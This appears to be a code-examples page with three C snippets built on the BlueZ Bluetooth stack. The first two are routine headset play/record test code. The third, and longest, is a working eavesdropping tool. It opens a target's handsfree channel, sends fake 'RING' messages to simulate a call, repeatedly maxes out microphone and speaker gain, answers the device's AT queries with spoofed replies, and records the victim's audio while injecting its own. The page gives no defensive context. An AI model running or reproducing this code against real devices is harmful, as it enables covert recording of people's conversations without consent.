Esempio n. 1
0
static int check_bt_voice(int dev)
{
	int dd;
	uint16_t vs;
	/* check voice settings. in this version we only support mu-law */
	dd = hci_open_dev(dev);
	hci_read_voice_setting(dd, &vs, 1000);
	vs = htobs(vs);
	fprintf(stderr, "Voice setting: 0x%04x\n", vs);
	close(dd);
	/*
	   MU_LAW
	   if (vs != 0x0140) {
	   fprintf(stderr, "The voice setting must be 0x0140\n");
	   return -1;
	   }
	 */

	// 16bit
	if (vs != 0x060) {
		fprintf(stderr, "The voice setting must be 0x060\n");
		return -1;
	}
	return 0;
}
Esempio n. 2
0
int main(int argc, char *argv[])
{
	struct sigaction sa;

	fd_set rfds;
	struct timeval timeout;
	unsigned char buf[2048], *p;
	int maxfd, sel, rlen, wlen;

	bdaddr_t local;
	bdaddr_t bdaddr;
	uint8_t channel;

	char *filename;
	mode_t filemode;
	int err, mode = 0;
	int dd, rd, sd, fd;
	uint16_t sco_handle, sco_mtu, vs;

	switch (argc) {
	case 4:
		str2ba(argv[3], &bdaddr);
		channel = 6;
		break;
	case 5:
		str2ba(argv[3], &bdaddr);
		channel = atoi(argv[4]);
		break;
	default:
		usage();
		exit(-1);
	}

	if (strncmp(argv[1], "play", 4) == 0) {
		mode = PLAY;
		filemode = O_RDONLY;
	} else if (strncmp(argv[1], "rec", 3) == 0) {
		mode = RECORD;
		filemode = O_WRONLY | O_CREAT | O_TRUNC;
	} else {
		usage();
		exit(-1);
	}

	filename = argv[2];

	hci_devba(0, &local);
	dd = hci_open_dev(0);
	hci_read_voice_setting(dd, &vs, 1000);
	vs = htobs(vs);
	fprintf(stderr, "Voice setting: 0x%04x\n", vs);
	close(dd);
	if (vs != 0x0060) {
		fprintf(stderr, "The voice setting must be 0x0060\n");
		return -1;
	}

	if (strcmp(filename, "-") == 0) {
		switch (mode) {
		case PLAY:
			fd = 0;
			break;
		case RECORD:
			fd = 1;
			break;
		default:
			return -1;
		}
	} else {
		if ((fd = open(filename, filemode)) < 0) {
			perror("Can't open input/output file");
			return -1;
		}
	}

	memset(&sa, 0, sizeof(sa));
	sa.sa_flags = SA_NOCLDSTOP;
	sa.sa_handler = sig_term;
	sigaction(SIGTERM, &sa, NULL);
	sigaction(SIGINT,  &sa, NULL);

	sa.sa_handler = SIG_IGN;
	sigaction(SIGCHLD, &sa, NULL);
	sigaction(SIGPIPE, &sa, NULL);

	if ((rd = rfcomm_connect(&local, &bdaddr, channel)) < 0) {
		perror("Can't connect RFCOMM channel");
		return -1;
	}

	fprintf(stderr, "RFCOMM channel connected\n");

	if ((sd = sco_connect(&local, &bdaddr, &sco_handle, &sco_mtu)) < 0) {
		perror("Can't connect SCO audio channel");
		close(rd);
		return -1;
	}

	fprintf(stderr, "SCO audio channel connected (handle %d, mtu %d)\n", sco_handle, sco_mtu);

	if (mode == RECORD)
		err = write(rd, "RING\r\n", 6);

	maxfd = (rd > sd) ? rd : sd;

	while (!terminate) {

		FD_ZERO(&rfds);
		FD_SET(rd, &rfds);
		FD_SET(sd, &rfds);

		timeout.tv_sec = 0;
		timeout.tv_usec = 10000;

		if ((sel = select(maxfd + 1, &rfds, NULL, NULL, &timeout)) > 0) {

			if (FD_ISSET(rd, &rfds)) {
				memset(buf, 0, sizeof(buf));
				rlen = read(rd, buf, sizeof(buf));
				if (rlen > 0) {
					fprintf(stderr, "%s\n", buf);
					wlen = write(rd, "OK\r\n", 4);
				}
			}

			if (FD_ISSET(sd, &rfds)) {
				memset(buf, 0, sizeof(buf));
				rlen = read(sd, buf, sizeof(buf));
				if (rlen > 0)
					switch (mode) {
					case PLAY:
						rlen = read(fd, buf, rlen);

						wlen = 0;
						p = buf;
						while (rlen > sco_mtu) {
						        wlen += write(sd, p, sco_mtu);
						        rlen -= sco_mtu;
						        p += sco_mtu;
						}
						wlen += write(sd, p, rlen);
						break;
					case RECORD:
						wlen = write(fd, buf, rlen);
						break;
					default:
						break;
					}
			}

		}

	}

	close(sd);
	sleep(5);
	close(rd);

	close(fd);

	return 0;
}
Esempio n. 3
0
int main(int argc, char *argv[])
{
	struct sigaction sa;

	fd_set rfds;
	struct timeval timeout;
	unsigned char buf[2048], *p;
	unsigned char cmp[2048];
	int maxfd, sel, wlen, rlen;
	int cnt=0;
	bdaddr_t local;
	bdaddr_t bdaddr;
	uint8_t channel;
	uint8_t hcidevno;

	char *infilename;
	char *outfilename;
	mode_t infilemode;
	mode_t outfilemode;
  	int scostarted=0;	
	int mode = 0;
	int dd, rd, sd, fdi, fdo;
	uint16_t sco_handle, sco_mtu, vs;

	switch (argc) {
	case 5:
		str2ba(argv[4], &bdaddr);
		channel = 1;
		hcidevno = 0;
		break;
	case 6:
		str2ba(argv[4], &bdaddr);
		channel = atoi(argv[5]);
		hcidevno = atoi(argv[1]);
		break;
	default:
		usage();
		exit(-1);
	}

	infilemode = O_RDONLY;
	outfilemode = O_WRONLY | O_CREAT | O_TRUNC;

	infilename = argv[2];
	outfilename = argv[3];

	hci_devba(0, &local);
	dd = hci_open_dev(hcidevno);
	hci_read_voice_setting(dd, &vs, 1000);
	vs = htobs(vs);
	printf("Voice setting: 0x%04x\n", vs);
	close(dd);
	if (vs != 0x0060) {
		perror("The voice setting must be 0x0060!\n");
		return -1;
	}
	
	// Hack by KF to enable realtime audio eavesdropping. Use stdout and pipe to sox. (see usage)
	if(strcmp(outfilename,"-") == 0)
	{	
		printf("Using stdout!");
		fdo = 1;
	}
	else
	{
		if ((fdo = open(outfilename, outfilemode)) < 0) {
			perror("Can't open output file!");
			return -1;
		}
	}

	if ((fdi = open(infilename, infilemode)) < 0) {
		perror("Can't open input file!");
		return -1;
	}
	
	memset(&sa, 0, sizeof(sa));
	sa.sa_flags = SA_NOCLDSTOP;
	sa.sa_handler = sig_term;
	sigaction(SIGTERM, &sa, NULL);
	sigaction(SIGINT,  &sa, NULL);

	sa.sa_handler = SIG_IGN;
	sigaction(SIGCHLD, &sa, NULL);
	sigaction(SIGPIPE, &sa, NULL);

	if ((rd = rfcomm_connect(&local, &bdaddr, channel)) < 0) {
		perror("Can't connect RFCOMM channel!");
		return -1;
	}

	printf("RFCOMM channel connected\n");
	
	// It is important that the RING message is sent before the SCO connection is established.
	// This way, the audio sent is interpreted as in-band ringtone and is displayed in most cases
	// immediately.
	
	// send 'RING' message in order to initiate fake phone call 
	wlen = write(rd, "RING\r\n", 6);
	
	usleep(1000);

	if ((sd = sco_connect(&local, &bdaddr, &sco_handle, &sco_mtu)) < 0) {
		perror("Can't connect SCO audio channel!");
		close(rd);
		return -1;
	}

	printf("SCO audio channel connected (handle %d, mtu %d)\n", sco_handle, sco_mtu);

	// wait for connection to be fully established
//	usleep(200);

	// turn up the speaker volume and the microphone gain to the highest level
	wlen = write(rd, "AT+VGS=15\r\n", 11);
	wlen = write(rd, "AT+VGM=15\r\n", 11);
	
	// send 'RING' message in order to initiate fake phone call 
	wlen = write(rd, "RING\r\n", 6);


	maxfd = (rd > sd) ? rd : sd;

	while (!terminate) {

		FD_ZERO(&rfds);
		FD_SET(rd, &rfds);
		FD_SET(sd, &rfds);

		timeout.tv_sec = 2;
		timeout.tv_usec = 0;

		if ((sel = select(maxfd + 1, &rfds, NULL, NULL, &timeout)) > 0) {
		
			if ((FD_ISSET(rd, &rfds))&&(scostarted!=0)) {
				memset(buf, 0, sizeof(buf));
				rlen = read(rd, buf, sizeof(buf));
				//buf[rlen++] = '\0';
				if (rlen > 0) {
					fprintf(stderr, "got:  %s\n",buf);
                                        if (strncmp(buf, "AT+BRSF=",8)==0) {
						wlen=write(rd,"+BRSF: 63\r\n",11);
						fprintf(stderr, "ansewered:  +BRSF: 63\n");
					} else if (strncmp(buf, "AT+CIND?",8)==0) { 
						wlen=write(rd,"+CIND: 0,1,0,0\r\n",16);
						fprintf(stderr, "ansewered: +CIND: 1\n");
					} else if (strncmp(buf, "AT+CIND=?",9)==0) { 
						wlen=write(rd,"+CIND: (\"call\",(0,1)),(\"service\",(0,1)),(\"call_setup\",(0-3)),(\"callsetup\",(0-3))\r\n",82);
						fprintf(stderr, "ansewered: +CIND: (\"call\",(0,1)),(\"service\",(0,1)),(\"call_setup\",(0-3)),(\"callsetup\",(0-3))\n");
					} else {
						// answer to anything else with an 'OK'
						wlen = write(rd, "OK\r\n", 4);
						fprintf(stderr, "ansewered:  OK\n");
					}
				} else {
					// check return value of read call
					if (rlen==-1) {
						// terminate loop
						wlen = write(rd, "AT+VGM=15\r\n", 11);
						terminate=1;
					}
				}
			}
			
			if (FD_ISSET(sd, &rfds)) {
				scostarted=1;
				memset(buf, 0, sizeof(buf));
				rlen = read(sd, buf, sizeof(buf));
				if (rlen > 0) {
					wlen = write(fdo, buf, rlen);
					rlen = read(fdi, buf, rlen);
					wlen = 0; 
					if (rlen > 0) p = buf;
					while (rlen > sco_mtu) {
					        wlen += write(sd, p, sco_mtu);
					        rlen -= sco_mtu;
					        p += sco_mtu;
					}
					wlen += write(sd, p, rlen);
				}
			}
			if (cnt++>800) {

				// keep tuning up the volume for speaker and microphone
				wlen = write(rd, "RING\r\n", 6);
				wlen = write(rd, "AT+VGS=15\r\n", 11);
				wlen = write(rd, "AT+VGM=15\r\n", 11);
				cnt=0;
				printf(".\n");
			}
		}
	}

	// close sockets 
	close(sd);
	close(rd);

	// close files
	close(fdi);
	close(fdo);

	return 0;
}